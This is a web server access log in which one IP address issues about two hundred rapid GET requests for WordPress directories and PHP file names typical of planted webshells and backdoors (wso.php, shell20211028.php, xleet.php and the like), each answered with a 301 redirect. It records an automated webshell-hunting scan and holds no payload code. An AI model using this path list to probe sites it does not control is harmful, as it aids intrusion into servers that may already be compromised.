13.72.65.229 - - [06/Apr/2025:10:30:12 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:12 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:12 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:14 -0400] "GET /wp-includes/images/1.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:14 -0400] "GET /wp-includes/blocks/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:15 -0400] "GET /wp-content/themes/onum-child/custom-templates/dir/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:15 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:16 -0400] "GET /wp-content/plugins/awesome-coming-soon/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:16 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:16 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:17 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:17 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:18 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:19 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:19 -0400] "GET /template.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:20 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:21 -0400] "GET /wp-admin/css/colors/blue/blkcdojh.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:21 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:22 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:23 -0400] "GET /user_data.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:23 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:24 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:24 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:25 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:25 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:26 -0400] "GET /wp-content/themes/jhie8k08/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:27 -0400] "GET /wp-content/plugins/lwgvais/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:28 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:29 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:29 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:30 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:31 -0400] "GET /down.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:31 -0400] "GET /wp-content/plugins/init HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:32 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:33 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:34 -0400] "GET /wordpress/wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:35 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:35 -0400] "GET /images/IMG_contenidos/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:36 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:36 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:37 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:37 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:37 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:37 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:38 -0400] "GET /wp-includes/js/dist/vendor/vcard.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:38 -0400] "GET /wp-content/uploads/2016/03/wp-admin-block.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:39 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:39 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:39 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:40 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:41 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:41 -0400] "GET /uploads/files/merchants/NadeemHajouj/20190321194634/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:42 -0400] "GET /wp-content/uploads/2016/03/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:42 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:42 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:43 -0400] "GET /allez.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:43 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:44 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:44 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:45 -0400] "GET /wp-content/plugins/sem-wysiwyg/fckeditor/editor/plugins/ImageManager/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:45 -0400] "GET /wp-content/uploads/suit5y.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:46 -0400] "GET /wp-content/themes/f25zgwig/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:46 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:47 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:47 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:48 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:49 -0400] "GET /wp-content/uploads/2014/06/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:50 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:51 -0400] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:51 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:52 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:53 -0400] "GET /wp-includes/ID3/cache.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:54 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:54 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:55 -0400] "GET /logins.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:56 -0400] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:57 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:57 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:58 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:58 -0400] "GET /wp-content/plugins/zlzwssi/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:59 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:30:59 -0400] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:00 -0400] "GET /update/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:00 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:01 -0400] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:02 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:02 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:02 -0400] "GET /html_editor.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:03 -0400] "GET /cart.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:03 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:04 -0400] "GET /wp-content/plugins/upboxtn/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:04 -0400] "GET /plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:05 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:06 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:06 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:07 -0400] "GET /blog/blog.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:07 -0400] "GET /wp-includes/ID3/51Sge/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:08 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:08 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:09 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:09 -0400] "GET /wp/wp-content/plugins/w695elkq/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:10 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:11 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:11 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:11 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:12 -0400] "GET /ssl_check.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:13 -0400] "GET /wp-content/plugins/imfrxbc/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:13 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:14 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:14 -0400] "GET /.github/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:15 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:15 -0400] "GET /en.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:16 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:16 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:17 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:17 -0400] "GET /gallery_view.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:17 -0400] "GET /wp-content/uploads/config HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:18 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:18 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:19 -0400] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:19 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:19 -0400] "GET /wordpress/wp-content/plugins/pkghsb/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:19 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:20 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:20 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:20 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:21 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:21 -0400] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:22 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:22 -0400] "GET /wp-includes/gCdfg/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:22 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:23 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:23 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:23 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:23 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:24 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:24 -0400] "GET /blog/wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:24 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:25 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:25 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:25 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:26 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:26 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:26 -0400] "GET /.well-known/kwggvpup.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:27 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:27 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:27 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:28 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:28 -0400] "GET /boot.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:29 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:29 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:29 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:30 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:30 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:30 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:30 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:31 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:31 -0400] "GET /wp-includes/ID3/51Sge/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:32 -0400] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:32 -0400] "GET /wp-content/themes/tk9zgum9/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:32 -0400] "GET /navigation.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:33 -0400] "GET /wp-content/plugins/urawmub/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:33 -0400] "GET /wp-content/plugins/aezvzos/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:34 -0400] "GET /wp-content/plugins/ygdfcil/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:34 -0400] "GET /wp-content/plugins/widget-logic/ui.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:34 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:35 -0400] "GET /wp-admin/js/widgets/xleet.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:35 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:36 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:36 -0400] "GET /download_file.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:36 -0400] "GET /wp-content/uploads/themes.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:37 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:37 -0400] "GET /s/Text/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:37 -0400] "GET /wp-admin/css/colors/blue/blkhfvco.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:38 -0400] "GET /wp-content/plugins/dclxurc/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:38 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:39 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:39 -0400] "GET /wp-includes/languages/wp/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:39 -0400] "GET /wp-content/plugins/thrive-visual-editor/inc/backbone/controls/lead-generation/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:40 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:40 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:40 -0400] "GET /wp-includes/js/e3B6W/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:41 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:41 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:41 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:41 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:42 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:42 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:42 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:43 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:43 -0400] "GET /yanz.php/wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:43 -0400] "GET /wp-content/plugins/kfhfxvy/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:44 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:44 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:44 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:45 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:45 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:45 -0400] "GET /access_logs.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:46 -0400] "GET /wp-content/plugins/wcrkfqy/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:46 -0400] "GET /.well-known/pki-validation/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:46 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:46 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:47 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:47 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:47 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:48 -0400] "GET /debug.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:48 -0400] "GET /lai/robotica/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:48 -0400] "GET /wp-content/plugins/nloisib/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:49 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:49 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:49 -0400] "GET /.tmb/class_api.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:49 -0400] "GET /wp-content/plugins/wp-db-ajax-made/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:50 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:50 -0400] "GET /wp-content/themes/themes/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:50 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:51 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:51 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:51 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:52 -0400] "GET /modules/mod_webshell/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:52 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:52 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:53 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:53 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 